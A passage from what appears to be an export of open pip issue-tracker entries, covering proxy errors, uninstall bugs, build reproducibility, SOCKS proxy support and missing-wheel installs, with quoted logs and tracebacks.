  Retrying (Retry(total=4, connect=None, read=None, redirect=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))': /simple/webtest/
  Starting new HTTPS connection (2): pypi.python.org
  Incremented Retry for (url='/simple/webtest/'): Retry(total=3, connect=None, read=None, redirect=None)
  Retrying (Retry(total=3, connect=None, read=None, redirect=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))': /simple/webtest/
  Starting new HTTPS connection (3): pypi.python.org
  Incremented Retry for (url='/simple/webtest/'): Retry(total=2, connect=None, read=None, redirect=None)
  Retrying (Retry(total=2, connect=None, read=None, redirect=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))': /simple/webtest/
  Starting new HTTPS connection (4): pypi.python.org
  Incremented Retry for (url='/simple/webtest/'): Retry(total=1, connect=None, read=None, redirect=None)
  Retrying (Retry(total=1, connect=None, read=None, redirect=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))': /simple/webtest/
  Starting new HTTPS connection (5): pypi.python.org
  Incremented Retry for (url='/simple/webtest/'): Retry(total=0, connect=None, read=None, redirect=None)
  Retrying (Retry(total=0, connect=None, read=None, redirect=None)) after connection broken by 'ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))': /simple/webtest/
  Starting new HTTPS connection (6): pypi.python.org
  Could not fetch URL https://pypi.python.org/simple/webtest/: connection error: HTTPSConnectionPool(host='pypi.python.org', port=443): Max retries exceeded with url: /simple/webtest/ (Caused by ProxyError('Cannot connect to proxy.', error('Tunnel connection failed: 407 Proxy Authentication Required',))) - skipping
```

Looking at the code (`download.py`) I can only see use of the `HTTPBasicAuth` but no `HTTPDigestAuth`
user: redbaron4
labels: C: proxy: Dealing with proxies and networking
type: feature request: Request for a new feature
issue_5111: state: open
title: Display more information on non-200 status codes from package indexes
body: As discussed https://github.com/pypa/packaging-problems/issues/130#issuecomment-375698077

More information should be shown when `pip install` gets a 4xx response from PyPI. Right now info is shown with `-v`, but it should be shown by default.
user: alex
labels: type: enhancement: Improvements to functionality
C: finder: PackageFinder and index related code
issue_5102: state: open
title: Feature: Deterministic Builds
body: [This has been raised before](https://github.com/pypa/pip/issues/3261), and closed, but I'm hoping you can reconsider adding something like `pip install --no-deps=error`, or perhaps `pip check --ignore-versions`.  Let me explain.

In our build we attain reproducibility by fixing our package versions in requirements.txt.  Unfortunately, if someone forgets to list a package dependency in this file, it is implicitly installed by `pip install`.  This implicit installation likely uses the latest version of the dependency, bypassing our reproducibility requirements.

Fortunately, `--no-deps` exists, ensuring that missing dependencies are not implicitly installed.  This is a good thing, but it shifts the problem to runtime, where we won't see a failure until the code trips over a missing import.  Ideally, this sort of error should occur during build time.

Fortunately, `pip check` exists, which will fail if there are missing dependencies.  However, `pip check` **also** fails if the dependencies aren't the correct versions, as determined by each package.  This would be OK if packages properly managed their dependency requirements, but [as stated in your blog post](https://caremad.io/posts/2013/07/setup-vs-requirement/) people misunderstand the difference between `setup.py` and `requirements.txt`.  [Just last week](https://github.com/boto/botocore/pull/1402#issuecomment-373173889), we had a build failure because a package introduced a `python-dateutil<2.7.0` restriction in their setup.py so they could continue to run Python 2.6 in their CI builds.

Even if all packages _did_ properly manage their dependency requirements, there's still a possibility of conflicting requirements between two packages, which would cause `pip check` to fail.  One of the things I love about `pip` is that it gives the user power to override and resolve these conflicts by simply using the first specification it finds.  However, even once these conflicts are resolved, `pip check` is still going to fail.

A `pip install --no-deps=error` would solve this problem by disabling implicit installations of dependencies and turning them into a build error.  A `pip check --ignore-versions` would solve this problem by only checking if a package's dependencies exist, disregarding any version constraints.  Either one of these solutions can pave the way to truly reproducible builds.

user: Syeberman
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_5073: state: open
title: incorrect exit status when package cannot be uninstalled
body: * Pip version:  9.0.1 / 9.0.1-744-gcb696fce
* Python version: 3.6.4
* Operating system: Arch Linux

### Description:

Add a package' source directory to PYTHONPATH, and try to uninstall it with pip, e.g.:

```shell
> git clone -q --depth 1 https://github.com/python-xlib/python-xlib.git
> (cd python-xlib && python setup.py -q egg_info)
> PYTHONPATH=python-xlib pip uninstall python-xlib; echo $?
Can't uninstall 'python-xlib'. No files were found to uninstall.
0
```

user: benoit-pierre
labels: type: bug: A confirmed bug or unintended behavior
good first issue: A good item for first time contributors to work on
issue_5069: state: open
title: Simplify managing packages from the Python REPL
body: For a variety of reasons, folks may end up in a situation where it isn't straightforward to get an operating system level command shell for the interactive Python environment they're currently using (e.g. Windows start menu link, Jupyter notebook kernels, etc).

The most robust currently available option for handling that scenario is to do something like the following:

    import subprocess, sys
    def install(*args, **kwds):
        """Install packages into the current environment"""
        cli_args = []
        for k, v in kwds:
            cli_args.append("--" + k.replace('_', '-'))
            cli_args.append(v)
        cli_args += args
        subprocess.run(sys.executable, "-m", "pip", "install", *cli_args)

This basic approach is far from perfect (e.g. it will bypass `Pipfile` when using `pipenv`, it doesn't autoreload if you upgrade an already installed and imported package, and it will fail cryptically if `pip` isn't installed), but those are problems that could be resolved by a more robust implementation provided by `pip` itself.

For example:

* if `Pipfile` or `Pipfile.lock` is seen, emit a warning to stderr about it being bypassed (such a warning could potentially be added to `pip` by default regardless of how it's invoked)
* after the installation operation completes, read the RECORD entries for any just installed modules, and compare them to `__spec__.origin` and `importlib.util.source_from_cache(__spec__.origin__)` for all of the modules in `sys.modules.values()` and emit a warning to stderr suggesting a Python session restart if any of the just installed files is already loaded in the module cache
* if this were a public module level API in `pip`, then it's the `from pip import install` step that would fail if `pip` wasn't available in the current environment

This basic approach of running `f"{sys.executable} -m pip install ..."` could also be generalised to other `pip` CLI subcommands, and most of the others won't have the same cache consistency problems that `install` does.
user: ncoghlan
labels: C: public api: Public API stuff
type: feature request: Request for a new feature
issue_5046: state: open
title: --ignore-installed and dependency resolution
body: I tried looking for why it was introduced but I couldn't figure out why it was added through the git history. It seems to have been around there since at least pip 0.6.

I'm pretty sure I can implement a Provider to preserve the behavior that it's asking for. I'm actually wondering if this option is in fact relevant once a resolver is added?

user: pradyunsg
labels: type: maintenance: Related to Development and Maintenance Processes
issue_5040: state: open
title: uninstall fails when package is found in PYTHONPATH
body: * Pip version: 9.0.1
* Python version: 3.5.1 and 2.7.14
* Operating system: Windows 7

### Description:

I have a project where I'm building a wheel using setup tools. By mistake, the directory containing the package and setup.py file ended up on `PYTHONPATH` without my realizing it. As a result, the package was listed in the output of `pip freeze`, but when I attempted to `pip uninstall` it (thinking it had somehow gotten installed globally by mistake), I just got an error message about no files found to uninstall. As a result, I had to hunt around trying to figure out how it was even finding the modules.

Note that this is the behavior using the global installation; it's different with a virtual environment. (I'm forced to use a global install because I'm forced to use a third party library that's only available bundled with a badly customized installation of Python.) Although, strictly speaking, it's not more helpful; the message just says it's outside of the virtual environment's directory.

I'm not sure what exactly a good fix would be, but it would help a lot if something were more clear somewhere in this chain of events. Maybe `freeze` shouldn't consider packages found on `PYTHONPATH`? Or maybe `uninstall` should just have a more meaningful error message?

### What I've run:

I've created an [example repository](https://github.com/bladeoflight16/pip-freeze-uninstall-inconsistency) to reproduce the issue; it's really just a sort of "hello world" package and setup.py if you'd rather make your own. The commands below will reproduce the problem:

```
C:\temp>pip freeze

C:\temp>python .\setup.py bdist_wheel

C:\temp>SET PYTHONPATH=%CD%

C:\temp>pip freeze
mypack==1.0

C:\temp>pip uninstall mypack
Can't uninstall 'mypack'. No files were found to uninstall.
```

I'd be surprised if the behavior is different with a different OS.
user: bladeoflight16
labels: state: needs discussion: This needs some more discussion
issue_5019: state: open
title: Download wheels for given architecture, and source package if wheel not exists
body: I would find it very useful if pip would allow to specify architecture of wheel, but if wheel does not exists for given architecture to download source package. In current version when using `--platform` restriction there would be an error in case of package with no wheel distribution or wihout wheel for given platform. 

In my usecase I have requirements file with multiple libraries and some of them does not have wheels for ARM. I am downloading libs from x86 machine to be put on some ARM device without access to internet. With normal `pip download` it downloads x86 wheels which obviously does not works for me, but for libs without wheel it downloads source packages. 

On the other hand when using `--platform` it raises error for all libs without wheel which is expected behaviour because you need to specify `--only-binary` to use `--platform`. 

It would be nice to allow specifing `--platform` restriction without using `--only-binary` or some other flag to fallback to source package in case  of no wheeled library.

I know I can specify `--only-binary` for selected libs only, but this would require my manual checking of every package, while pip could do this automatically.
user: pax0r
labels: C: download: About fetching data from PyPI and other sources
type: feature request: Request for a new feature
issue_5011: state: open
title: Allow "true" values for pip.conf negative options (no-cache-dir and no-compile)
body: * Pip version: 9.0.1
* Python version: 3.5.2
* Operating system: Ubuntu 16.04 LTS

### Description:

Trying to disable cache dir, I see [in the docs](https://pip.pypa.io/en/stable/user_guide/#config-file) that I need to set falsy values to `no-cache-dir`, which is counter intuitive: no-cache-dir is false, it's a double negation, and it's difficult to figure out that it actually disables the cache dir. 

Trying to set it to `true` gives the error below.

### What I've run:
In `pip.conf`, if I set no-cache-dir to `true`, in the intent of disabling cache dir:
```
[global]
no-cache-dir = true
```

and then running e.g. `pip list` gives:

```
[...]
Traceback (most recent call last):
  File "/usr/local/bin/pip3", line 11, in <module>
    sys.exit(main())
  File "/usr/local/lib/python3.5/dist-packages/pip/__init__.py", line 233, in main
    return command.main(cmd_args)
  File "/usr/local/lib/python3.5/dist-packages/pip/basecommand.py", line 251, in main
    timeout=min(5, options.timeout)) as session:
  File "/usr/local/lib/python3.5/dist-packages/pip/basecommand.py", line 69, in _build_session
    if options.cache_dir else None
  File "/usr/lib/python3.5/posixpath.py", line 89, in join
    genericpath._check_arg_types('join', a, *p)
  File "/usr/lib/python3.5/genericpath.py", line 143, in _check_arg_types
    (funcname, s.__class__.__name__)) from None
TypeError: join() argument must be str or bytes, not 'int'
```

user: CharlesB2
labels: type: enhancement: Improvements to functionality
C: configuration: Configuration management and loading
state: needs discussion: This needs some more discussion
issue_5003: state: open
title: add more detail on platform missmatch errors instead of just declaring not matching distributions found
body: pip 9.0.1 python 2

got
```
$ pip install --user keyring_jeepney
Collecting keyring_jeepney
  Could not find a version that satisfies the requirement keyring_jeepney (from versions: )
No matching distribution found for keyring_jeepney
```

expected

```
$ pip install --user keyring_jeepney
Collecting keyring_jeepney
  Could not find a version that is supported on your platform
  # perhaps some more information on the platform mismatch, like os, python version 
No matching distribution found for keyring_jeepney
```
user: RonnyPfannschmidt
labels: type: enhancement: Improvements to functionality
UX: User experience related
C: error messages: Improving error messages
issue_4995: state: open
title: editable cannot be installed when requiring hashes
body: * Pip version: 9.0.1
* Python version: 3.5.2
* Operating system: Ubuntu 16.04.3 LTS

### Description:

I added `--hash=` information to my requirements.txt, but it seems that hash usage can't be used in combination with editables?!?

Running **pip3 install --exists-action s -r requirements.txt** creates this message:

> The editable requirement <package-name> from git+https://github.com/... (from -r requirements.txt (line <no>)) cannot be installed when requiring hashes, because there is no single file to hash.

Is this a "known limitation" or a bug?

user: jedie
labels: type: support: User Support
resolution: deferred till PR: Further discussion will happen when a PR is made
C: editable: Editable installations
issue_4979: state: open
title: Support HTTP/2
body: Support for http2 is easily available for requests:
https://hyper.readthedocs.io/en/latest/quickstart.html#requests-integration
user: KOLANICH
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_4968: state: open
title: "pip show" command should display reverse dependencies / "pip graph" new command 
body: * Pip version: 9.0.1
* Python version: 2.7
* Operating system: All

### Description:

This is a feature request, I think. 
It would be nice to, at least, get a list of reverse dependencies with a "pip show <package_name>" command, with a depth of 1 for an installed package. 
Maybe a better approach is to create a new command, e.g. "pip graph <package_name>" to show a complete tree of dependencies of an installed package.

### What I've run:
As a workaround, I use this script from https://stackoverflow.com/questions/21336323/show-reverse-dependencies-with-pip:
```
# rev_deps.py
import pip
import sys

def find_reverse_deps(package_name):
    return [
        pkg.project_name for pkg in pip.get_installed_distributions()
        if package_name in {req.project_name for req in pkg.requires()}
    ]

if __name__ == '__main__':
    print find_reverse_deps(sys.argv[1])
```
Thanks for your work on pip :-)
user: lepetitchevalblanc
labels: C: list/show: 'pip list' or 'pip show'
type: feature request: Request for a new feature
issue_4965: state: open
title: pip fails on possibly malformed wheel
body: * Pip version: 9.0.1
* Python version: 2.7
* Operating system: Ubuntu

### Description:

Pip failed on what I suspect to be a malformed wheel. The resolution for this is probably a better error message.

### What I've run:

```
pip install ScientificPython
Collecting ScientificPython (from -r requirements-build.txt (line 1))
  Downloading ScientificPython-2.6.1-cp27-cp27mu-manylinux1_x86_64.whl (3.8MB)
    100% |████████████████████████████████| 3.8MB 386kB/s 
Installing collected packages: ScientificPython
Exception:
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.14/lib/python2.7/site-packages/pip/basecommand.py", line 215, in main
    status = self.run(options, args)
  File "/home/travis/virtualenv/python2.7.14/lib/python2.7/site-packages/pip/commands/install.py", line 342, in run
    prefix=options.prefix_path,
  File "/home/travis/virtualenv/python2.7.14/lib/python2.7/site-packages/pip/req/req_set.py", line 784, in install
    **kwargs
  File "/home/travis/virtualenv/python2.7.14/lib/python2.7/site-packages/pip/req/req_install.py", line 851, in install
    self.move_wheel_files(self.source_dir, root=root, prefix=prefix)
  File "/home/travis/virtualenv/python2.7.14/lib/python2.7/site-packages/pip/req/req_install.py", line 1064, in move_wheel_files
    isolated=self.isolated,
  File "/home/travis/virtualenv/python2.7.14/lib/python2.7/site-packages/pip/wheel.py", line 376, in move_wheel_files
    dest = scheme[subdir]
KeyError: 'Scientific'
```
user: ghost
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
UX: User experience related
C: error messages: Improving error messages
issue_4961: state: open
title: empty transition packages don't seem to work on upgrades
body: * Pip version: 9.0.1
* Python version: 3.5.2
* Operating system: Debian unstable

### Description:

`msgpack-python` was recently renamed to just `msgpack`. To ease upgrades, the msgpack maintainers uploaded a new version of `msgpack-python` which is empty and depends on `msgpack`. However, when you do the upgrade, it seems that the upgrade of `msgpack-python` removes the files that should now be provided by `msgpack`.

I am not sure whether this is a feature or a bug, but it makes it impossible to provide transition packages to ease upgrades when renaming a package.

### What I've run:

```
$ virtualenv -p python3 /tmp/v
Already using interpreter /usr/bin/python3
Using base prefix '/usr'
New python executable in /tmp/v/bin/python3
Also creating executable in /tmp/v/bin/python
Installing setuptools, pkg_resources, pip, wheel...source /tdone.
$ source /tmp/v/bin/activate
$ pip install msgpack-python==0.4.8
Collecting msgpack-python==0.4.8
Installing collected packages: msgpack-python
Successfully installed msgpack-python-0.4.8
$ pip freeze
msgpack-python==0.4.8
pkg-resources==0.0.0
$ python3 -c 'import msgpack'
$ pip install --upgrade msgpack-python
Collecting msgpack-python
  Using cached msgpack_python-0.5.0-py3-none-any.whl
Collecting msgpack>=0.5 (from msgpack-python)
  Using cached msgpack-0.5.0-cp36-cp36m-manylinux1_x86_64.whl
Installing collected packages: msgpack, msgpack-python
  Found existing installation: msgpack-python 0.4.8
    Uninstalling msgpack-python-0.4.8:
      Successfully uninstalled msgpack-python-0.4.8
Successfully installed msgpack-0.5.0 msgpack-python-0.5.0
$ python3 -c 'import msgpack'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
ModuleNotFoundError: No module named 'msgpack'
$ pip freeze
msgpack==0.5.0
msgpack-python==0.5.0
pkg-resources==0.0.0
$ pip --version
pip 9.0.1 from /tmp/v/lib/python3.6/site-packages (python 3.6)
```
  
user: terceiro
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_4958: state: open
title: Implement Uninstall [URL]
body: Please make this a clean roundabout trip, leaving the system the way it was
```
# pip   install https://electrum-ltc.org/download/Electrum-LTC-2.9.3.1.tar.gz
# pip uninstall https://electrum-ltc.org/download/Electrum-LTC-2.9.3.1.tar.gz
```
or at least have it raise an error.
user: jidanni
labels: type: enhancement: Improvements to functionality
state: awaiting PR: Feature discussed, PR is needed
issue_4890: state: open
title: "pip -v install file:." pretends to act on current dir, but uses /
body: * Pip version: 9.0.1-637-g8f4f15a5
* Python version: 3.6.3
* Operating system: Arch Linux

### Description:

With `pip -v install file:.` it displays:

```
Created temporary directory: /tmp/pip-install-ve_lpb9o
Processing /home/daniel/Vcs/pip
  Created temporary directory: /tmp/pip-req-build-6qw6uc7p
```

But then copies all of `/` into the build dir, including `/proc` -
filling up the temporary build dir quickly.

In this regard it is behaving like `pip -v install file:///`, except
that this displays `Processing /` at least.

I think it should either handle "." in the path (or netloc, where it actually shows up with e.g. `'file://.'` - some WIP could be picked up from https://github.com/pypa/pip/compare/master...blueyed:file-scheme-dot), or fail, since relative paths are not really meant to be supported in file URLs.
user: blueyed
labels: type: bug: A confirmed bug or unintended behavior
issue_4865: state: open
title: Add an explicit --global installation option
body: (Separating this specific piece out from the long discussion in https://github.com/pypa/pip/issues/1668 about eventually making `--user` the default)

We eventually want `pip` to start defaulting to per-user installs when run outside a virtual environment, with an explicit opt-in switch to request global installs (i.e. directly into the Python runtime's site-packages directory).

As per the discussion on #1668, that setting will be called `--global`, since there isn't any self-evidently better alternative, and it should be easy to remember for anyone mixing and matching Python and JavaScript package management. 

Adding the opt-in setting will mean that users will be able to start preparing themselves for that eventual change in the default behaviour (by passing it explicitly when it's the desired behaviour), and will also make it possible to override `user=yes` in a config file.
user: ncoghlan
labels: type: enhancement: Improvements to functionality
issue_4856: state: open
title: Pip can't use socks5h proxy
body: * Pip version: 9.0.1
* Python version: 3.6
* Operating system: Fedora 26

### Description:
When setting the $ALL_PROXY environment variable to (e.g) "socks5h://10.99.0.1:1080" (note the 'h'), pip install commands fail with 'ValueError: Unable to determine SOCKS version from socks5h://10.99.0.1:1080'.

'socks5h://' is common protocol which mandates that the SOCKS server resolves the hostnames and it has been recognized by urllib3 since version 1.20 (2017-01-19) :
- relevant issue: https://github.com/shazow/urllib3/issues/1035
- PR:  https://github.com/shazow/urllib3/pull/1036

### What I've run:

```
$ python3 -m pip install test
Collecting test
Exception:
Traceback (most recent call last):
  File "/usr/lib/python3.6/site-packages/pip/basecommand.py", line 215, in main
    status = self.run(options, args)
  File "/usr/lib/python3.6/site-packages/pip/commands/install.py", line 357, in run
    wb.build(autobuilding=True)
  File "/usr/lib/python3.6/site-packages/pip/wheel.py", line 753, in build
    self.requirement_set.prepare_files(self.finder)
  File "/usr/lib/python3.6/site-packages/pip/req/req_set.py", line 380, in prepare_files
    ignore_dependencies=self.ignore_dependencies))
  File "/usr/lib/python3.6/site-packages/pip/req/req_set.py", line 554, in _prepare_file
    require_hashes
  File "/usr/lib/python3.6/site-packages/pip/req/req_install.py", line 278, in populate_link
    self.link = finder.find_requirement(self, upgrade)
  File "/usr/lib/python3.6/site-packages/pip/index.py", line 465, in find_requirement
    all_candidates = self.find_all_candidates(req.name)
  File "/usr/lib/python3.6/site-packages/pip/index.py", line 423, in find_all_candidates
    for page in self._get_pages(url_locations, project_name):
  File "/usr/lib/python3.6/site-packages/pip/index.py", line 568, in _get_pages
    page = self._get_page(location)
  File "/usr/lib/python3.6/site-packages/pip/index.py", line 683, in _get_page
    return HTMLPage.get_page(link, session=self.session)
  File "/usr/lib/python3.6/site-packages/pip/index.py", line 792, in get_page
    "Cache-Control": "max-age=600",
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 488, in get
    return self.request('GET', url, **kwargs)
  File "/usr/lib/python3.6/site-packages/pip/download.py", line 386, in request
    return super(PipSession, self).request(method, url, *args, **kwargs)
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 475, in request
    resp = self.send(prep, **send_kwargs)
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/sessions.py", line 596, in send
    r = adapter.send(request, **kwargs)
  File "/usr/lib/python3.6/site-packages/pip/_vendor/cachecontrol/adapter.py", line 47, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 390, in send
    conn = self.get_connection(request.url, proxies)
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 290, in get_connection
    proxy_manager = self.proxy_manager_for(proxy)
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/adapters.py", line 184, in proxy_manager_for
    **proxy_kwargs
  File "/usr/lib/python3.6/site-packages/pip/_vendor/requests/packages/urllib3/contrib/socks.py", line 154, in __init__
    "Unable to determine SOCKS version from %s" % proxy_url
ValueError: Unable to determine SOCKS version from socks5h://10.99.0.1:1080
```

user: CommunicationAnimale
labels: C: proxy: Dealing with proxies and networking
type: feature request: Request for a new feature
issue_4853: state: open
title: Documentation doesn't explain that we build wheels and install from them
body: Should the docs clarify the process of installing? Specifically that we run `bdist_wheel` to build a wheel that we cache, and then we install it without using `setup.py`.

https://pip.pypa.io/en/latest/reference/pip_install/#build-system-interface hints at the details, by saying "All packages will be attempted to built into wheels", but it also says "The install command should implement the complete process of installing the package to the target directory XXX". (Also, we don't document what happens if the `wheel` package isn't available, and TBH I'm not sure I know what we actually do - do we fall back on `setup.py install`?)

This may not be worth fixing, as this whole area of the docs will need revising for PEP 517, but if that's the decision, then this issue can remain as a reminder that we need to do that.
user: pfmoore
labels: type: docs: Documentation related
issue_4824: state: open
title: Add support for outputting a list of extras and their requirements.
body: * Pip version: 9.0.1
* Python version: 3.6
* Operating system: Ubuntu 17.10

### Description:

I'm trying to write a script to automatically generate constraints files(with hashes) and I'd like a way to allow this script to detect any extras, and generate the constraints file for those too.

I have no preference to the command; but it might be nice to put it in `pip show` as another section(depending on compatibility)

### What I've run:

```
$ pip show requests
Name: requests
Version: 2.18.4
...
Requires: idna, urllib3, chardet, certifi
ExtraRequires[security]: cryptography, pyOpenSSL
ExtraRequires[socks]: PySocks
```

user: software-opal
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
state: needs discussion: This needs some more discussion
state: awaiting PR: Feature discussed, PR is needed
C: extras: Handling optional dependencies
issue_4796: state: open
title: [Improvement] Pip could resume download package at halfway the connection is poor
body: * Pip version: 9.0.1
* Python version: 3.6.2
* Operating system: macOS 10.13

### Description

When I have poor internet connection (the network is cut unexpectedly), updating pip package is painful. When I retry the pip install, it would stop at the midpoint and give me the same md5 error.

All I have to do is

1. Download the package from pypi (using browser or wget, both have retry/resume capability)
2. Pip install
3. remove the package

If pip download have resume feature then the problem could be solved.

### What I've run

`pip install -U jupyterlab` in poor network condition

```
Collecting jupyterlab
  Downloading jupyterlab-0.28.4-py2.py3-none-any.whl (8.7MB)
    4% |█▋                              | 430kB 1.1MB/s eta 0:00:08
THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, please update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.
    jupyterlab from https://pypi.python.org/packages/b1/6d/d1d033186a07e08af9dc09db41401af7d6e18f98b73bd3bef75a1139dd1b/jupyterlab-0.28.4-py2.py3-none-any.whl#md5=9a93b1dc85f5924151f0ae9670024bd0:
        Expected md5 9a93b1dc85f5924151f0ae9670024bd0
             Got        4b6835257af9609a227a72b18ea011e3
```

user: winstonma
labels: type: enhancement: Improvements to functionality
C: download: About fetching data from PyPI and other sources
state: awaiting PR: Feature discussed, PR is needed
issue_4795: state: open
title: Make suggestion when the current stable version has no wheel but a pre-release does
body: * Pip version: 9.0.1
* Python version: 3.6.1
* Operating system: Microsoft Windows [Version 10.0.15063]

### Description:

I was trying to install two Python modules, NumPy and SciPy, NumPy installed successfully but SciPy did not.  After a while of trying to figure out why it was complaining about missing a bunch of files I decided to check on PyPi to see if there was an alternate download.  And, lo and behold, none of the files listed for download were for version 0.19.1, which pip said was the most recent, but instead version 1.0.0rc2, released today (October 18th).  After a bit of trial and error, I worked out how to force-feed the file to pip.

### What I've run:

I copied the entire cmd prompt session into the attached txt file below
[pip-bug_cmd-line-output.txt](https://github.com/pypa/pip/files/1397124/pip-bug_cmd-line-output.txt)

<details>
<summary>Expand for log (edited by @pradyunsg)</summary>
<pre><code>
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\windows\system32>pip install NumPy SciPy
Collecting NumPy
  Using cached numpy-1.13.3-cp36-none-win_amd64.whl
Collecting SciPy
  Using cached scipy-0.19.1.tar.gz
Installing collected packages: NumPy, SciPy
  Running setup.py install for SciPy ... error
    Complete output from command "c:\program files\python36\python.exe" -u -c "import setuptools, tokenize;__file__='C:\\Users\\s530101\\AppData\\Local\\Temp\\pip-build-gyp34ubz\\SciPy\\setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record C:\Users\s530101\AppData\Local\Temp\pip-qeq_kx7u-record\install-record.txt --single-version-externally-managed --compile:

    Note: if you need reliable uninstall behavior, then install
    with pip instead of using `setup.py install`:

      - `pip install .`       (from a git repo or downloaded source
                               release)
      - `pip install scipy`   (last SciPy release on PyPI)


    lapack_opt_info:
    lapack_mkl_info:
      libraries mkl_rt not found in ['c:\\program files\\python36\\lib', 'C:\\', 'c:\\program files\\python36\\libs']
      NOT AVAILABLE

    openblas_lapack_info:
    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:655: UserWarning: Specified path c:\opt\64\lib is invalid.
      return self.get_paths(self.section, key)
      libraries libopenblas_v0.2.20_mingwpy not found in []
      NOT AVAILABLE

    atlas_3_10_threads_info:
    Setting PTATLAS=ATLAS
      libraries tatlas,tatlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries tatlas,tatlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries tatlas,tatlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_3_10_threads_info'>
      NOT AVAILABLE

    atlas_3_10_info:
      libraries satlas,satlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries satlas,satlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries satlas,satlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_3_10_info'>
      NOT AVAILABLE

    atlas_threads_info:
    Setting PTATLAS=ATLAS
      libraries ptf77blas,ptcblas,atlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries ptf77blas,ptcblas,atlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries ptf77blas,ptcblas,atlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_threads_info'>
      NOT AVAILABLE

    atlas_info:
      libraries f77blas,cblas,atlas not found in c:\program files\python36\lib
      libraries lapack_atlas not found in c:\program files\python36\lib
      libraries f77blas,cblas,atlas not found in C:\
      libraries lapack_atlas not found in C:\
      libraries f77blas,cblas,atlas not found in c:\program files\python36\libs
      libraries lapack_atlas not found in c:\program files\python36\libs
    <class 'numpy.distutils.system_info.atlas_info'>
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Atlas (http://math-atlas.sourceforge.net/) libraries not found.
        Directories to search for the libraries can be specified in the
        numpy/distutils/site.cfg file (section [atlas]) or by setting
        the ATLAS environment variable.
      self.calc_info()
    lapack_info:
      libraries lapack not found in ['c:\\program files\\python36\\lib', 'C:\\', 'c:\\program files\\python36\\libs']
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Lapack (http://www.netlib.org/lapack/) libraries not found.
        Directories to search for the libraries can be specified in the
        numpy/distutils/site.cfg file (section [lapack]) or by setting
        the LAPACK environment variable.
      self.calc_info()
    lapack_src_info:
      NOT AVAILABLE

    c:\program files\python36\lib\site-packages\numpy\distutils\system_info.py:572: UserWarning:
        Lapack (http://www.netlib.org/lapack/) sources not found.
        Directories to search for the sources can be specified in the
        numpy/distutils/site.cfg file (section [lapack_src]) or by setting
        the LAPACK_SRC environment variable.
      self.calc_info()
      NOT AVAILABLE

    Running from scipy source directory.
    non-existing path in 'scipy\\integrate': 'quadpack.h'
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-gyp34ubz\SciPy\setup.py", line 416, in <module>
        setup_package()
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-gyp34ubz\SciPy\setup.py", line 412, in setup_package
        setup(**metadata)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\core.py", line 135, in setup
        config = configuration()
      File "C:\Users\s530101\AppData\Local\Temp\pip-build-gyp34ubz\SciPy\setup.py", line 336, in configuration
        config.add_subpackage('scipy')
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 1029, in add_subpackage
        caller_level = 2)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 998, in get_subpackage
        caller_level = caller_level + 1)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 935, in _get_configuration_from_setup_py
        config = setup_module.configuration(*args)
      File "scipy\setup.py", line 15, in configuration
        config.add_subpackage('linalg')
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 1029, in add_subpackage
        caller_level = 2)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 998, in get_subpackage
        caller_level = caller_level + 1)
      File "c:\program files\python36\lib\site-packages\numpy\distutils\misc_util.py", line 935, in _get_configuration_from_setup_py
        config = setup_module.configuration(*args)
      File "scipy\linalg\setup.py", line 20, in configuration
        raise NotFoundError('no lapack/blas resources found')
    numpy.distutils.system_info.NotFoundError: no lapack/blas resources found

